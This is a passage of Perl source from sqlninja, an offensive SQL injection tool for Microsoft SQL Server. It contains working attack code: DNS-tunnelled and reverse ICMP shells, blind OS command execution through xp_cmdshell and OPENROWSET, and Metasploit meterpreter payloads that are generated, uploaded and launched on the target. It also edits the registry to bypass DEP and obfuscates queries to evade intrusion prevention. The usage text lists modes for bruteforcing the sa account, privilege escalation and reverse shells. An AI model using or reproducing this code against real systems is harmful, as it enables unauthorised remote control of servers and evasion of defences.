3050	push @ans, Net::DNS::RR->new("$qname $ttl $qclass $qtype $rdata");
3051	$rcode = "NOERROR";
3052	my $s = IO::Socket::UNIX->new(Peer => $dnssock,
3053				      Type => SOCK_DGRAM,
3054				      Timeout => 20);
3055	$s->send($qname);
3056	close $s;
3057	return ($rcode, \@ans, \@auth, \@add, {aa => 1});
3058}
3059
3060# Receives the dns messages from the sniffing child
3061# and processes them
3062sub decodedns
3063{
3064	my $ninjasock = $_[0];
3065	my $msg;  # message from the DNS daemon
3066	my @msgarray; # holds all received messages
3067	my $buffer = ""; # buffer to decode
3068	my $lastbuffered = -1; # last message appended to buffer
3069	my $number; # number of current message
3070	my $lastreceived = 0; # boolean: last packet received ?
3071	my $complete = 0;     # boolean: all packets received ?
3072
3073	my $chunklen; # length of chunk to decode
3074	my $chunk; # chunk to decode
3075	my $decoded; # decoded chunk`
3076	my $n;
3077	my $m;
3078
3079	my $server = IO::Socket::UNIX->new(Local => $dnssock,
3080					   Type  => SOCK_DGRAM,
3081					   Listen=> 10)
3082			|| die "can't create UNIX socket: $!\n";
3083	# Let's start listening ! :)
3084	while ($complete == 0) {
3085		$server->recv($msg,255,0);
3086		# cut the domain and the dots....
3087		$msg =~ s/$domain//;
3088		$msg =~ s/\.//g;
3089
3090		# If there is a "9", it's the last message
3091		# Check dnstunnel.c for encoding details
3092		if ($msg =~ /9/) {
3093			($n,$m) = split(/9/,$msg);
3094			$lastreceived = 1;
3095		} else {
3096			($n,$m) = split(/8/,$msg);
3097		}
3098
3099		# Insert the received message in the array
3100		$number=base32counterdecode($n);
3101		$msgarray[$number]=$m;
3102		# If the received message is exactly the same
3103		# that we were waiting for, append it to the buffer,
3104		# followed by other ones previously received in wrong
3105		# order, if any
3106		my $arraylen = @msgarray;
3107		while (($msgarray[$number] ne "") and ($number<$arraylen)) {
3108			if ($number == ($lastbuffered+1)) {
3109				$buffer .= $msgarray[$number];
3110				$lastbuffered = $lastbuffered+1;
3111			}
3112				$number++;
3113		}
3114
3115		# decode what can be decoded in the buffer and print
3116		$chunklen = (int(length($buffer)/8))*8;
3117		$chunk = substr($buffer,0,$chunklen);
3118		$buffer = substr($buffer,$chunklen);
3119		$decoded = base32decode($chunk);
3120		print $decoded;
3121
3122		# Are we at the end ?
3123		$complete=checkdnscomplete(\@msgarray,$lastreceived);
3124	}
3125
3126	$decoded = base32decode($buffer);
3127	print $decoded;
3128	my $s = IO::Socket::UNIX->new(Peer => $ninjasock,
3129				      Type => SOCK_DGRAM,
3130				      Timeout => 10)
3131			||  die "can't create UNIX socket: $!\n";
3132	$s->send("decoded");
3133	close $s;
3134	exit(0);
3135}
3136
3137# Check whether all messages have been received
3138sub checkdnscomplete
3139{
3140	my @msgarray=@{$_[0]};
3141	if ($_[1] == 0) {
3142		return 0;
3143	}
3144	my $number = @msgarray;
3145	my $i;
3146	my $complete = 1;
3147	if ($_[1] == 1) {
3148		for ($i=0;$i<$number;$i++) {
3149			if ($msgarray[$i] eq '') {
3150				$complete=0;
3151			}
3152		}
3153	}
3154	return $complete;
3155}
3156
3157# decode a base32-encoded string
3158# Outrageously ripped from Convert-Base-32 by Tatsuhiko Miyagawa
3159sub base32decode
3160{
3161	my $encoded = $_[0];
3162	lc($encoded); # shouldn't be necessary... but just to be sure
3163	my %char2bits = qw@
3164		a 00000
3165		b 00001
3166		c 00010
3167		d 00011
3168		e 00100
3169		f 00101
3170		g 00110
3171		h 00111
3172		i 01000
3173		j 01001
3174		k 01010
3175		l 01011
3176		m 01100
3177		n 01101
3178		o 01110
3179		p 01111
3180		q 10000
3181		r 10001
3182		s 10010
3183		t 10011
3184		u 10100
3185		v 10101
3186		w 10110
3187		x 10111
3188		y 11000
3189		z 11001
3190		0 11010
3191		1 11011
3192		2 11100
3193		3 11101
3194		4 11110
3195		5 11111
3196	@;
3197	my $buffer = '';
3198	for my $pos (0..length($encoded)-1) {
3199		$buffer .= $char2bits{substr($encoded,$pos,1)};
3200	}
3201	return pack('B*',$buffer);
3202}
3203
3204# decode a base32-encoded counter
3205sub base32counterdecode
3206{
3207	my $encoded = $_[0];
3208	my %char2number = qw@
3209		a 0
3210		b 1
3211		c 2
3212		d 3
3213		e 4
3214		f 5
3215		g 6
3216		h 7
3217		i 8
3218		j 9
3219		k 10
3220		l 11
3221		m 12
3222		n 13
3223		o 14
3224		p 15
3225		q 16
3226		r 17
3227		s 18
3228		t 19
3229		u 20
3230		v 21
3231		w 22
3232		x 23
3233		y 24
3234		z 25
3235		0 26
3236		1 27
3237		2 28
3238		3 29
3239		4 30
3240		5 31
3241	@;
3242	my $number;
3243	my $i;
3244	my $len = length($encoded);
3245	for my $pos (0..$len-1) {
3246		$i = $char2number{substr($encoded,$pos,1)};
3247		$number += $i*(32 ** ($len-1-$pos));
3248	}
3249	return $number;
3250}
3251
3252sub icmpshell
3253{
3254	print "[+] Starting reverse ICMP shell.\n";
3255	print "    Don't forget to disable ICMP replies by the OS:\n";
3256	print "      e.g: sysctl -w net.ipv4.icmp_echo_ignore_all=1\n";
3257	print "    Hit CTRL+C to be dropped back to your shell.\n";
3258
3259	# read in data buffer size
3260	my $dbsize;
3261        do {
3262		print "[+] Data buffer size in bytes [default: 64]: ";
3263		$dbsize = <STDIN>;
3264		chomp($dbsize);
3265		if (length($dbsize) == 0) {
3266			$dbsize = 64;
3267		} elsif ($dbsize <= 0 or $dbsize !~ m/^\d+$/) {
3268			print "    Data buffer size should be greater than 0\n";
3269			$dbsize = 0;
3270		}
3271	} while ($dbsize == 0);
3272
3273	# read in send delay
3274	my $delay;
3275	do {
3276		print "[+] Send delay in milliseconds [default: 300]: ";
3277		$delay = <STDIN>;
3278		chomp($delay);
3279		if (length($delay) == 0) {
3280			$delay = 300;
3281		} elsif ($delay < 0 or $delay !~ m/^\d+$/) {
3282			print "    Send delay should be a positive number\n";
3283			$delay = 0;
3284		}
3285	} while ($delay == 0);
3286
3287	# read in time out
3288	my $timeout;
3289	do {
3290                print "[+] Response timeout in milliseconds [default: 5000]: ";
3291                $timeout = <STDIN>;
3292                chomp($timeout);
3293                if (length($timeout) == 0) {
3294                        $timeout = 3000;
3295                } elsif ($timeout < 0 or $timeout !~ m/^\d+$/) {
3296                        print "    Timeout should be a positive number\n";
3297                        $timeout = 0;
3298                }
3299        } while ($timeout == 0);
3300
3301
3302	# start master
3303	my $listenerpid = fork();
3304	if ($listenerpid == 0) {
3305
3306	        my $cmd = "\%TEMP\%\\icmpsh -t $lhost -s $dbsize -d $delay -o $timeout";
3307       		my $command = createcommand($cmd);
3308      		my $result = sendrequest($command);
3309		exit(0);
3310	}
3311
3312	icmplistener();
3313}
3314
3315sub icmplistener
3316{
3317	# create raw socket
3318	my $sock = IO::Socket::INET->new(
3319                Proto   => "ICMP",
3320                Type    => SOCK_RAW,
3321                Blocking => 1) or die "$!";
3322
3323	# set stdin to non-blocking
3324	fcntl(STDIN, F_SETFL, O_NONBLOCK) or die "$!";
3325
3326	my $input = '';
3327	while (1) {
3328        	if ($sock->recv(my $buffer, 4096, 0)) {
3329                	my $ip = NetPacket::IP->decode($buffer);
3330                	my $icmp = NetPacket::ICMP->decode($ip->{data});
3331                	if ($icmp->{type} == 8) {
3332                       		# get identifier and sequencenumber
3333                        	my ($ident,$seq,$data) = unpack("SSa*", $icmp->{data});
3334
3335                        	# write data to stdout and read from stdin
3336                        	print $data;
3337                        	$input = <STDIN>;
3338
3339                        	# compile and send response
3340                        	$icmp->{type} = 0;
3341                        	$icmp->{data} = pack("SSa*", $ident, $seq, $input);
3342                        	my $raw = $icmp->encode();
3343                        	my $addr = sockaddr_in(0, inet_aton($ip->{src_ip}));
3344                        	$sock->send($raw, 0, $addr) or die "$!\n";
3345                	}
3346        	}
3347	}
3348}
3349
3350# Launches "blind" commands using xp_cmdshell through the web application
3351sub sqlcmd
3352{
3353	print "[+] Starting blind command mode.";
3354	print " Use \"exit\" to be dropped back to your shell.\n";
3355	my $cmd;
3356	my $command;
3357	my $result;
3358	while (1) {
3359		print "> ";
3360		$cmd = <STDIN>;
3361		chomp($cmd);
3362		if ($churrasco == 1) {
3363			$cmd = usechurrasco($cmd);
3364		}
3365		if ($cmd eq "exit") {
3366			print "Thank you for using sqlninja... see ya\n";
3367			exit(0);
3368		}
3369		if ($cmd ne "") {
3370			$command = createcommand($cmd);
3371        		$result = sendrequest($command);
3372			print "[+] Command has been sent and executed\n";
3373		}
3374	}
3375}
3376
3377# Use the metasploit framework to create a payload, upload it and execute it
3378# Of course, you need metasploit3 in your path
3379# And kudos to the whole Metasploit team
3380sub metasploit
3381{
3382	print "[+] Entering Metasploit module. In order to use this module ".
3383	   "you need to\n    have found an available TCP port, either ".
3384	   "inbound or outbound\n";
3385	# We start checking whether Metasploit is there...
3386	print "[+] Checking Metasploit3 availability....\n";
3387	my $msfcli = "";
3388	my $msfpayload = "";
3389	my $msfencode = "";
3390	if ($msfpath eq "") {
3391		my $path1 = $ENV{PATH};
3392		my @path = split(/:/,$path1);
3393		foreach (@path) {
3394			if (-e $_."/msfcli") {
3395				$msfcli = $_."/msfcli";
3396			} elsif (-e $_."/msfcli3") {
3397				$msfcli = $_."/msfcli3";
3398			}
3399			if (-e $_."/msfpayload") {
3400				$msfpayload = $_."/msfpayload";
3401			} elsif (-e $_."/msfpayload3") {
3402				$msfpayload = $_."/msfpayload3";
3403			}
3404			if (-e $_."/msfencode") {
3405				$msfencode = $_."/msfencode";
3406			} elsif (-e $_."/msfencode3") {
3407				$msfencode = $_."/mfsencode3";
3408			}
3409		}
3410	} else {
3411		if ($msfpath != m/\/$/) { # add a final slash, if needed
3412			$msfpath .= "/";
3413		}
3414		if (-e $msfpath."msfcli") {
3415			$msfcli = $msfpath."msfcli";
3416		} elsif (-e $msfpath."msfcli3") {
3417			$msfcli = $msfpath."msfcli3";
3418		}
3419		if (-e $msfpath."msfpayload") {
3420			$msfpayload = $msfpath."msfpayload";
3421		} elsif (-e $msfpath."msfpayload3") {
3422			$msfpayload = $msfpath."msfpayload3";
3423		}
3424		if (-e $msfpath."msfencode") {
3425			$msfencode = $msfpath."msfencode";
3426		} elsif (-e $msfpath."msfencode3") {
3427			$msfencode = $msfpath."msfencode3";
3428		}
3429	}
3430	if ($msfcli eq "") {
3431		print "[-] msfcli not found\n";
3432		exit(-1);
3433	}
3434	if ($msfpayload eq "") {
3435		print "[-] msfpayload not found\n";
3436		exit(-1);
3437	}
3438	if (($msfencode eq "") and ($msfencoder ne "")) {
3439		print "[-] msfencode not found\n";
3440		exit(-1);
3441	}
3442	print "[+] Which payload you want to use?\n";
3443	print "    1: Meterpreter\n    2: VNC\n";
3444	my $payload;
3445	while (($payload != 1) and ($payload != 2)) {
3446		print "> ";
3447		$payload = <STDIN>;
3448		chomp($payload);
3449	}
3450	if ($payload == 1) {
3451		$payload = "meterpreter";
3452	} else {
3453		$payload = "vncinject";
3454	}
3455	print "[+] Which type of connection you want to use?\n";
3456	print "    1: bind_tcp\n    2: reverse_tcp\n";
3457	my $conn;
3458	while (($conn ne "1") and ($conn ne "2")) {
3459		print "> ";
3460		$conn = <STDIN>;
3461		chomp($conn);
3462	}
3463	if ($conn == 1) {
3464		$conn = "bind_tcp";
3465	} else {
3466		$conn = "reverse_tcp";
3467	}
3468	my $host2;
3469	if ($conn eq "bind_tcp") {
3470		print "[+] Enter remote host [".$host."]\n> ";
3471		$host2 = <STDIN>;
3472		chomp $host2;
3473		if ($host2 eq "") {
3474			$host2 = $host;
3475		}
3476	}
3477	if ($conn eq "bind_tcp") {
3478		print "[+] Enter remote port number\n";
3479	} else {
3480		print "[+] Enter local port number\n";
3481	}
3482	my $port = 0;
3483	while (($port < 1) or ($port > 65535)) {
3484		print "> ";
3485		$port = <STDIN>;
3486		chomp($port);
3487	}
3488
3489	# ok... let's start the fun
3490	# We start creating the payload executable
3491	# We use a random name, because using the same name twice would
3492	# create problems if the first executable is still running
3493	my $exe = "met".int(rand()*65535);
3494	my $command = $msfpayload." windows/".$payload."/".$conn.
3495		" exitfunc=process lport=".$port." ";
3496	if ($conn ne "bind_tcp") {
3497		$command .= " lhost=".$lhost." ";
3498	}
3499	if ($msfencoder eq "") {
3500		$command .= " X > /tmp/".$exe.".exe";
3501	} else {
3502		$command .= " R | ".$msfencode.
3503			    " -e ".$msfencoder.
3504			    " -c ".$msfencodecount.
3505			    " -t exe".
3506			    " -o /tmp/".$exe.".exe";
3507	}
3508	if ($verbose == 1) {
3509		print "[v] Command: ".$command."\n";
3510	}
3511	print "[+] Calling msfpayload3 to create the payload...\n";
3512	system ($command);
3513	unless (-e "/tmp/".$exe.".exe") {
3514		print "[-] Payload creation failed\n";
3515		exit(-1);
3516	}
3517	print "[+] Payload (".$exe.".exe) created. Now uploading it\n";
3518	upload("/tmp/".$exe.".exe");
3519	system ("rm /tmp/".$exe.".exe");
3520
3521	my $cmd;
3522	if ($checkdep eq "yes") {
3523		# We might have to disable DEP for met.exe
3524		print "[+] Checking if DEP (Data Execution Prevention) ".
3525	       		"is enabled on target\n";
3526		$cmd = "declare \@a nvarchar(999) ".
3527	       		"EXEC master..xp_regread 'HKEY_LOCAL_MACHINE',".
3528	       		"'SYSTEM\\CurrentControlSet\\Control',".
3529	       		"'SystemStartOptions',\@a OUTPUT ".
3530	       		"if \@a like '%NOEXECUTE%' waitfor delay '0:0:"
3531						.$blindtime."'";
3532		my $result = tryblind($cmd);
3533		if ($result > ($blindtime - 2)) {
3534			handledep($exe);
3535		} else {
3536			print "[+] No DEP detected.... good\n";
3537		}
3538	}
3539
3540	# A couple of variables to handle some delays, depending on
3541	# who starts the connection
3542	my $delaycli = 0;
3543	my $delaydb = 0;
3544	if ($conn eq "bind_tcp") {
3545		$delaycli = 5;
3546	} else {
3547		$delaydb = 5;
3548	}
3549	# The child handles the request to the target, the parent
3550	# calls Metasploit
3551	my $pid = fork();
3552	if ($pid == 0) {
3553		# Launch met.exe
3554		sleep($delaydb);
3555		$cmd = "%TEMP%\\".$exe.".exe";
3556		if ($churrasco == 1) {
3557			$cmd = usechurrasco($cmd);
3558		}
3559		$command = createcommand($cmd);
3560		sendrequest($command);
3561		exit(0);
3562	}
3563	# This is the parent
3564	sleep($delaycli);
3565	my $syscommand = $msfcli." multi/handler ".
3566	              "payload=windows/".$payload."/".$conn." ";
3567	if ($conn eq "bind_tcp") {
3568		$syscommand .= "lport=".$port." rhost=".$host2." E";
3569	} else {
3570		$syscommand .= "lport=".$port." lhost=".$lhost." E";
3571	}
3572	if ($verbose == 1) {
3573		print "[v] Execuring: ".$syscommand."\n";
3574	}
3575	print "[+] Transferring control to msfcli. Have fun!\n\n";
3576	system($syscommand);
3577}
3578
3579# Wrap $cmd with churrasco.exe
3580sub usechurrasco
3581{
3582	return "%TEMP%\\churrasco.exe \"".$_[0]."\"";
3583}
3584
3585# Windows Server 2003 SP1+ has DEP enabled.... we need to take care of this
3586sub handledep
3587{
3588	my $exe = $_[0];
3589	my $dep;
3590	my $cmd;
3591	my $result;
3592
3593	# This is the generic query to check what configuration is in place
3594	my $depquery1 = "declare \@a nvarchar(100) ".
3595			"EXEC master..xp_regread 'HKEY_LOCAL_MACHINE',".
3596			"'SYSTEM\\CurrentControlSet\\Control',".
3597			"'SystemStartOptions',\@a OUTPUT ".
3598			"if \@a like '%";
3599	my $depquery2 = "%' waitfor delay '0:0:".$blindtime."'";
3600
3601	# We start with "OptOut", which should be the default
3602	$cmd = $depquery1."OPTOUT".$depquery2;
3603	$result = tryblind($cmd);
3604	if ($result > ($blindtime - 2)) {
3605		$dep = "OptOut";
3606	}
3607	if ($dep eq "") {
3608		$cmd = $depquery1."OPTIN".$depquery2;
3609		$result = tryblind($cmd);
3610		if ($result > ($blindtime - 2)) {
3611			$dep = "OptIn";
3612		}
3613	}
3614	if ($dep eq "") {
3615		$cmd = $depquery1."ALWAYSON".$depquery2;
3616		$result = tryblind($cmd);
3617		if ($result > ($blindtime - 2)) {
3618			$dep = "AlwaysOn";
3619		} else {
3620			$dep = "AlwaysOff";
3621		}
3622	}
3623	if (($dep eq "OptIn") or ($dep eq "AlwaysOff")) {
3624		print "[+] DEP is marked as ".$dep.". We should be fine\n";
3625		return;
3626	} elsif ($dep eq "AlwaysOn") {
3627		print "[-] DEP is marked as AlwaysOn... \n".
3628		      "[-] Will try my best but don't count on it too much\n";
3629	} else {
3630		print "[+] DEP is marked as OptOut...trying to disable it\n";
3631	}
3632
3633	# Whitelist our executable
3634	# $cmd = "exec xp_regdeletekey 'HKEY_LOCAL_MACHINE','Software\\".
3635	#   "Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\Layers'";
3636	#sendrequest($cmd);
3637
3638	my $table = "##ice".int(rand()*9999);
3639	$cmd = "declare \@b nvarchar(999) ".
3640	  "create table ".$table." (a nvarchar(999)) ".
3641	  "insert into ".$table." exec master..".$xp_name." 'echo %TEMP%' ".
3642	  "set \@b = (select top 1 * from ".$table.")+'\\".$exe.".exe' ".
3643	  "exec master..xp_regwrite 'HKEY_LOCAL_MACHINE',".
3644	  "'Software\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\Layers',".
3645	  "\@b,'REG_SZ','DisableNXShowUI' ".
3646	  "drop table ".$table;
3647	 sendrequest($cmd);
3648	# God bless xp_regread and xp_regwrite...
3649	# Two authentic backdoors by design
3650}
3651
3652sub createcommand
3653{
3654	my $cmd = $_[0];
3655	$cmd =~ s/'/''/g;
3656	my $command;
3657	$cmd = "cmd /C ".$cmd;
3658	# a) sysadmin privileges, native or with sp_addsrvrolemember.
3659	# If so, we have for sure xp_cmdshell (either native or custom)
3660	if ($password eq "") {
3661		$command = "exec master..".$xp_name." '".$cmd."';";
3662	}
3663	# b) we have the password, we have a xp_cmdshell, but the call to
3664	# sp_addsrvrolemember is not yet effective (damn ODBC connection
3665	# pool!). Therefore, we have to use openrowset at each call
3666	elsif ($xp_name ne "NULL") {
3667		# $password =~ s/ /%20/g;
3668		$cmd =~ s/'/''/g;
3669		$command = "select * from OPENROWSET('SQLOLEDB','';'sa';'".
3670			   $password."','select 1;exec master..".$xp_name.
3671			   " ''".$cmd."''');";
3672	}
3673	# c) we have the password, but no xp_cmdshell and sp_addsrvrolemember
3674	# is not yet effective. CREATE PROCEDURE does not seem to work when
3675	# nested into OPENROWSET, so we have to use the custom_xp code each
3676	# time.
3677	# Complicated, slow, but it works
3678	else {
3679		# $password =~ s/ /%20/g;
3680		$cmd =~ s/'/''/g;
3681		$command = "select * from OPENROWSET('SQLOLEDB','';'sa';'".
3682		      $password."','select 1;DECLARE \@ID int ".
3683		      "EXEC sp_OACreate ''WScript.Shell'',\@ID OUT ".
3684		      "EXEC sp_OAMethod \@ID,''Run'',Null,''".$cmd."'',0,1 ".
3685		      "EXEC sp_OADestroy \@ID');";
3686	}
3687}
3688
3689# Converts a query to its hex string
3690sub convert2hex
3691{
3692	my $s = $_[0];
3693	$s =~ s/(.)/sprintf("%02lx", ord $1)/eg;
3694	$s = "0x".$s;
3695	return $s;
3696}
3697
3698sub randomcase
3699{
3700	my $s1 = $_[0];
3701	my $s2;
3702	my @s = split(//,$s1);
3703	foreach (@s) {
3704		if ($_ =~ /\w/) {
3705			if (int(rand(2))==1) {
3706				$s2 = $s2.uc($_);
3707			} else {
3708				$s2 = $s2.lc($_);
3709			}
3710		} else {
3711			$s2 = $s2.$_;
3712		}
3713	}
3714	return $s2;
3715}
3716
3717# Performs some magic on the query to inject, in order to confuse IPS's.
3718# No, it's not necessarily an 'evil black hat' feature
3719sub evadeips
3720{
3721	my $command = $_[0];
3722
3723	# N.B.: Order is important
3724
3725	# Transform the query to its hex representation and executes it
3726	if ($evasion =~ /1/) {
3727		my $hex = convert2hex($command);
3728		$command = "declare \@a varchar(8000) ".
3729			    "set \@a=".$hex." ".
3730			    "exec (\@a)";
3731	}
3732
3733	# Use comments as separator
3734	if ($evasion =~ /2/) {
3735		$command =~ s/[\t\r\n]/ /g;
3736		$command =~ s/ /\/**\//g;
3737	}
3738
3739	# Random case
3740	if ($evasion =~ /3/) {
3741		$command = randomcase($command);
3742	}
3743
3744	# ...random URL-encoding must be encapsulated in urlencode()
3745
3746	return $command;
3747}
3748
3749# Encode SQL commands into url-friendly strings
3750# It also perform random URI encoding evasion
3751sub urlencode
3752{
3753	my $s = $_[0];
3754	if ($verbose == 1) {
3755		"  [v] URL-encoding command\n";
3756	}
3757	$s =~ s/[\t\r\n]/ /g;
3758
3759	my @t = split(//,$s);
3760	$s = "";
3761	foreach (@t) {
3762		if (($evasion =~ /4/)          # If random URI encoding,
3763		   and ($_ =~ /[A-Za-z0-9]/)   # and it's alphanumeric
3764		   and (int(rand(3))==1)) {    # we might as well encode it :)
3765			$_=sprintf("%%%2X", ord($_));
3766		} else {
3767			$_=~s/([^A-Za-z0-9])/sprintf("%%%2X", ord($1))/se;
3768		}
3769		$s=$s.$_;
3770	}
3771	return $s;
3772}
3773
3774
3775# Send the request to the web server and return the results
3776sub sendrequest
3777{
3778	my $command;
3779	my $httprequest_tmp = $httprequest; # We use temp variables, so that we don't taint the original
3780	my $postline_tmp = $postline;
3781
3782	# Do we need to evade some IPS?
3783	if ($evasion eq "0") {
3784		$command = $_[0];
3785	} else {
3786		$command = evadeips($_[0]);
3787	}
3788	# DEBUG MODE 1
3789        if (($debug eq "1") or ($debug eq "all")) {
3790		print "++++++++++++++++SQL Command++++++++++++++++\n";
3791		print $_[0]."\n";
3792		print "-------------------------------------------\n";
3793	}
3794
3795	if (($evasion ne "0") and (($debug eq "1") or ($debug eq "all"))) {
3796		print "+++++++++Obfuscated SQL Command++++++++++++\n";
3797		print $command."\n";
3798		print "-------------------------------------------\n";
3799	}
3800
3801	$command = urlencode($command);
3802
3803	# Create the socket for the communication
3804	my $s; # The socket
3805	# Create the correct socket depending on proxy and SSL
3806	if (($ssl == 0) and ($proxyhost eq "")) {
3807		$s = IO::Socket::INET->new
3808		(
3809			PeerAddr => $host,
3810			PeerPort => $port,
3811			Proto    => 'tcp',
3812			Type     => SOCK_STREAM
3813		);
3814		if (!defined $s) {
3815			print "\nError: could not create socket to ".$host.":"
3816						.$port."\n";
3817			exit(1);
3818		}
3819	} elsif (($ssl == 1) and ($proxyhost eq "")) {
3820		$s = IO::Socket::SSL->new
3821		(
3822			PeerAddr => $host,
3823			PeerPort => $port
3824		);
3825		if (!defined $s) {
3826			print "\nError: could not create SSL socket to "
3827						.$host.":".$port."\n";
3828			exit(1);
3829		}
3830	} elsif (($ssl == 0) and ($proxyhost ne "")) {
3831		$s = IO::Socket::INET->new
3832		(
3833			PeerAddr => $proxyhost,
3834			PeerPort => $proxyport,
3835			Proto	 => 'tcp',
3836			Type	 => SOCK_STREAM
3837		);
3838		if (!defined $s) {
3839			print "\nError: could not create socket to ".
3840					$proxyhost.":".$proxyport."\n";
3841		exit(1);
3842		}
3843	} else {
3844		$s = IO::Socket::INET->new
3845		(
3846			PeerAddr => $proxyhost,
3847			PeerPort => $proxyport,
3848			Proto    => 'tcp',
3849			Type     => SOCK_STREAM
3850		);
3851		if (!defined $s) {
3852			print "\nError: could not create socket to ".
3853                                     $proxyhost.":".$proxyport."\n";
3854			exit(1);
3855		}
3856
3857		print $s "CONNECT ".$host.":".$port." HTTP/1.".$httpversion."\r\n".
3858			 "Host: ".$vhost."\r\n\r\n";
3859		my $proxyresp = <$s>;
3860		# The following is causing *completely random* problems with
3861		# my VMPlayer. Need to investigate
3862		# if ($proxyresp !~ / 200 /) {
3863		#	print "Proxy CONNECT failed: $proxyresp";
3864		#	exit(1)
3865	        #}
3866		IO::Socket::SSL->start_SSL($s, SSL_startHandshake => 0);
3867		$s->connect_SSL;
3868		if (!defined $s) {
3869			print "\nError: proxy SSL CONNECT to socket to ".
3870				$host.":".$port." failed\n";
3871			exit(1);
3872		}
3873	}
3874	$s->autoflush(1);
3875	my $finalstring;
3876	# If there is a proxy, we need to add the host to the
3877	# first line of the request. We use $proxystring for this
3878	my $proxystring = "";
3879	if (($proxyhost ne "") and ($ssl == 0)) {
3880		$proxystring = "http://".$host.":".$port;
3881	}
3882
3883	$command .= $appendcomment;
3884
3885	$httprequest_tmp =~ s/$sqlmarker/$command/;
3886	# method: POST
3887	if ($method eq "POST") {
3888		$postline_tmp =~ s/$sqlmarker/$command/;
3889		my $contentlength = length($postline_tmp);
3890		$httprequest_tmp =~ s/__CONTENT_LENGTH__/$contentlength/;
3891		$httprequest_tmp .= "\n";
3892	} else {
3893		$httprequest_tmp .= "\n";
3894	}
3895	$httprequest_tmp =~ s/\n/\r\n/g;
3896
3897	# DEBUG MODE 2
3898	if (($debug eq "2") or ($debug eq "all")) {
3899		print "+++++++++++++++HTTP Request++++++++++++++++\n";
3900		print $httprequest_tmp;
3901		print "-------------------------------------------\n";
3902	}
3903	print $s $httprequest_tmp;
3904	# and here is the response from the server
3905	my $line;
3906	my $result = "";
3907	my $errormsg = "    Check configuration, as things might not be ".
3908					"working as expected !\n";
3909
3910	# Dirty hack to cope with broken proxies that do not
3911	# care about the "Connection: close" header
3912	while ((defined($line = <$s>)) and ($result !~ m/<\/html>/i)) {
3913		$result .= $line;
3914	}
3915
3916	# We have the result. Now some error checking...
3917	# First we get rid of all \r\n's
3918	$result =~ s/\r\n/\n/g;
3919
3920	# Then we split the result in different lines
3921	my @lines = (split /\n/,$result);
3922
3923	# If it is a POST requests, the web server will answer with "100
3924	# Continue" first. We have to skip that part of response to check
3925	# the actual response code. In order to do so, we have to look for
3926	# the first empty line.
3927	if ($lines[0] =~ m/100 Continue/) {
3928		while ($lines[0] ne "") {
3929		       		shift(@lines);
3930		}
3931		shift(@lines); # Shift the remaining empty line
3932	}
3933
3934	# Ok, unless something went wrong, we have the response code in the
3935	# first line of the array
3936	if (($lines[0] !~ m/200 OK/) and # not a 200 OK
3937	    ($errorflag == 0) and # no previous errors detected
3938	    ($mode ne "b") and	# errors can be fine when bruteforcing
3939	    ($mode ne "bruteforce")) {
3940		$errorflag = 1;
3941		print "[-] Warning... the server responded with ".$lines[0]
3942			."\n";
3943		print $errormsg;
3944	}
3945	# Second: check for custom error
3946	if (($errorstring ne "") and # custom error has been defined
3947	    ($errorflag == 0) and    # no previous error detected
3948	    ($mode ne "b") and		# errors can be fine when bruteforcing
3949	    ($mode ne "bruteforce") and
3950	    ($result =~ /$errorstring/)) { # error string found
3951	    	$errorflag = 1;
3952		print "[-] Warning... custom error page detected.\n";
3953		print $errormsg;
3954	}
3955	close $s;
3956	# DEBUG MODE 3
3957	if (($debug eq "3") or ($debug eq "all")) {
3958		print "++++++++++++++HTTP Response++++++++++++++++\n";
3959		print $result;
3960		print "-------------------------------------------\n";
3961	}
3962	return $result;
3963}
3964
3965sub usage
3966{
3967	die <<EOF;
3968Usage: $0
3969	-m <mode> : Required. Available modes are:
3970	    t/test - test whether the injection is working
3971	    f/fingerprint - fingerprint user, xp_cmdshell and more
3972	    b/bruteforce - bruteforce sa account
3973	    e/escalation - add user to sysadmin server role
3974	    x/resurrectxp - try to recreate xp_cmdshell
3975	    u/upload - upload a .scr file
3976	    s/dirshell - start a direct shell
3977	    k/backscan - look for an open outbound port
3978	    r/revshell - start a reverse shell
3979	    d/dnstunnel - attempt a dns tunneled shell
3980	    i/icmpshell - start a reverse ICMP shell
3981	    c/sqlcmd - issue a 'blind' OS command
3982	    m/metasploit - wrapper to Metasploit stagers
3983	-f <file> : configuration file (default: sqlninja.conf)
3984	-p <password> : sa password
3985	-w <wordlist> : wordlist to use in bruteforce mode (dictionary method
3986	                only)
3987	-g : generate debug script and exit (only valid in upload mode)
3988	-v : verbose output
3989	-d <mode> : activate debug
3990	    1 - print each injected command
3991	    2 - print each raw HTTP request
3992	    3 - print each raw HTTP response
3993	    all - all of the above
3994	...see sqlninja-howto.html for details
3995
3996EOF
3997}
3998
3999